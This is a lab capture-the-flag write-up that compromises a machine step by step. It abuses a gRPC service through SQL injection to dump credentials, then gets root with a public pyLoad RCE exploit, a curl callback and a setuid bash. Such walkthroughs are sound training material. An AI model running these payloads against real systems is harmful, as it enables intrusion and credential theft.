PC

Recon

nmap_scan.log

GRPC (50051)

The only port that's open on the box is 50051, which is default for GRPC servers.

grpcurl can be used to interact with the service.

└─$ grpcurl 10.129.102.185:50051 list
Failed to dial target host "10.129.102.185:50051": tls: first record does not look like a TLS handshake

└─$ grpcurl -plaintext 10.129.102.185:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection

└─$ grpcurl -plaintext 10.129.102.185:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection

┌──(woyag㉿kraken)-[~/Desktop/Rooms/PC]
└─$ grpcurl -plaintext 10.129.102.185:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

└─$ grpcurl -plaintext 10.129.102.185:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
  rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
  rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
  rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}

└─$ grpcurl -plaintext 10.129.102.185:50051 SimpleApp.getInfo
{
  "message": "Authorization Error.Missing 'token' header"
}

└─$ grpcurl -plaintext 10.129.102.185:50051 SimpleApp.RegisterUser
{
  "message": "username or password must be greater than 4"
}

└─$ grpcurl -plaintext -format text -d 'username: "test", password: "test"' 10.129.102.185:50051 SimpleApp.RegisterUser
message: "Account created for user test!"

└─$ grpcurl -plaintext -format text -d 'username: "test", password: "test"' 10.129.102.185:50051 SimpleApp.LoginUser
message: "Your id is 363."

└─$ grpcurl -plaintext -format text -H "token: 363" -d 'id: "363"' 10.129.102.185:50051 SimpleApp.getInfo
message: "Authorization Error.Missing 'token' header"

└─$ grpcurl -plaintext 10.129.102.185:50051 describe getInfoRequest
getInfoRequest is a message:
message getInfoRequest {
  string id = 1;
}

getInfoRequest is somewhat troublesome, we need a token but we are only given id...

If we supply -v (verbose) flag we should get more output and there's the token.

└─$ grpcurl -v -plaintext -format text -d 'username: "test", password: "test"' 10.129.102.185:50051 SimpleApp.LoginUser

Resolved method descriptor:
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );

Request metadata to send:
(empty)

Response headers received:
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

Response contents:
message: "Your id is 788."

Response trailers received:
token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTczMjQ4MDE5MX0.jjvhshsuvPfw_izElK73Nk2oeoKk4EUM2OYyNFLsrrE'
Sent 1 request and received 1 response

└─$ grpcurl -plaintext -format text -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdCIsImV4cCI6MTczMjQ4MDE5MX0.jjvhshsuvPfw_izElK73Nk2oeoKk4EUM2OYyNFLsrrE" -d 'id: "788"' 10.129.102.185:50051 SimpleApp.getInfo
message: "Will update soon."

The only output getInfo returns is message: "Will update soon." and not much to go on..

The token died in few minutes so just automate the process, last url is somewhat dynamic so I left it as echo

#!/bin/bash

AUTH='username: "letmein", password: "letmein"'

resp=$(grpcurl -plaintext -format text -d "$AUTH" 10.129.102.185:50051 SimpleApp.RegisterUser)

resp=$(grpcurl -v -plaintext -format text -d "$AUTH" 10.129.102.185:50051 SimpleApp.LoginUser)
token=$(echo "$resp" | grep -oP "token: b'\K[^']+")
user_id=$(echo "$resp" | grep -oP 'message: "Your id is \K[0-9]+')

echo "grpcurl -plaintext -format text -H \"token: $token\" -d \"id: \\\"$user_id\\\"\" 10.129.102.185:50051 SimpleApp.getInfo"

SQLi is possible in the ID field

└─$ grpcurl -plaintext -format text -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoibGV0bWVpbiIsImV4cCI6MTczMjQ4MzE2Mn0.1H4GsW4wtMBDcPOhJwrUK8vVtHluod2IHchLOvlHwAQ" -d "id: \"690 AND 1=1-- -\"" 10.129.102.185:50051 SimpleApp.getInfo
message: "Will update soon."

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#sqlite-string

└─$ grpcurl -plaintext -format text -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoibGV0bWVpbiIsImV4cCI6MTczMjQ4MzE2Mn0.1H4GsW4wtMBDcPOhJwrUK8vVtHluod2IHchLOvlHwAQ" -d "id: \"690 UNION SELECT GROUP_CONCAT(sql) FROM sqlite_master -- -\"" 10.129.102.185:50051 SimpleApp.getInfo
message: "CREATE TABLE \"accounts\" (\n\tusername TEXT UNIQUE,\n\tpassword TEXT\n),CREATE TABLE messages(id INT UNIQUE, username TEXT UNIQUE,message TEXT)"
└─$ grpcurl -plaintext -format text -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoibGV0bWVpbiIsImV4cCI6MTczMjQ4MzE2Mn0.1H4GsW4wtMBDcPOhJwrUK8vVtHluod2IHchLOvlHwAQ" -d "id: \"690 UNION SELECT GROUP_CONCAT(username || ':' || password) FROM accounts -- -\"" 10.129.102.185:50051 SimpleApp.getInfo
message: "admin:admin,sau:HereIsYourPassWord1431"

SSH (22)

Creds: sau:HereIsYourPassWord1431

└─$ ssh sau@10.129.102.185
sau@pc:~$ id
uid=1001(sau) gid=1001(sau) groups=1001(sau)

User.txt

sau@pc:~$ cat user.txt
3f9955a40000644faa48435d39d1ce6a

Privilege Escalation

sau@pc:~$ ss -tunlp4
Netid                State                 Recv-Q                Send-Q                                Local Address:Port                                 Peer Address:Port                Process
udp                  UNCONN                0                     0                                     127.0.0.53%lo:53                                        0.0.0.0:*
udp                  UNCONN                0                     0                                           0.0.0.0:68                                        0.0.0.0:*
tcp                  LISTEN                0                     4096                                  127.0.0.53%lo:53                                        0.0.0.0:*
tcp                  LISTEN                0                     128                                         0.0.0.0:22                                        0.0.0.0:*
tcp                  LISTEN                0                     5                                         127.0.0.1:8000                                      0.0.0.0:*
tcp                  LISTEN                0                     128                                         0.0.0.0:9666                                      0.0.0.0:*
---
└─$ ssh sau@10.129.102.185 -L 8000:0:8000 -L 9666:0:9666

Some internal application called pyLoad is running on port 8000 as root.

sau@pc:~$ ps aux | grep py
root         807  0.0  0.4  29876 18320 ?        Ss   17:24   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
root         998  0.0  0.7 634704 30612 ?        Ssl  17:24   0:02 /usr/bin/python3 /opt/app/app.py
root        1004  0.0  1.9 1251296 77564 ?       Ssl  17:24   0:04 /usr/bin/python3 /usr/local/bin/pyload
sau         2066  0.0  0.0   8160   724 pts/0    S+   18:47   0:00 grep --color=auto py
Writeup.png

PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)

└─$ curl -LOs https://www.exploit-db.com/download/51532
└─$ py 51532.py -u http://localhost:8000 -c 'curl 10.10.14.42'
Writeup-1.png

Exploit works.

└─$ py 51532.py -u http://localhost:8000 -c 'install -m4777 /bin/bash /tmp/rootbash'
[+] Check if target host is alive: http://localhost:8000
[+] Host up, let's exploit!
[+] The exploit has be executeded in target machine.
sau@pc:/opt/app$ /tmp/rootbash -p
rootbash-5.0# id
uid=1001(sau) gid=1001(sau) euid=0(root) groups=1001(sau)

Root.txt

rootbash-5.0# cd /root
rootbash-5.0# cat root.txt
624b00dedbaac39c36bbc1d1208c6f87

Last updated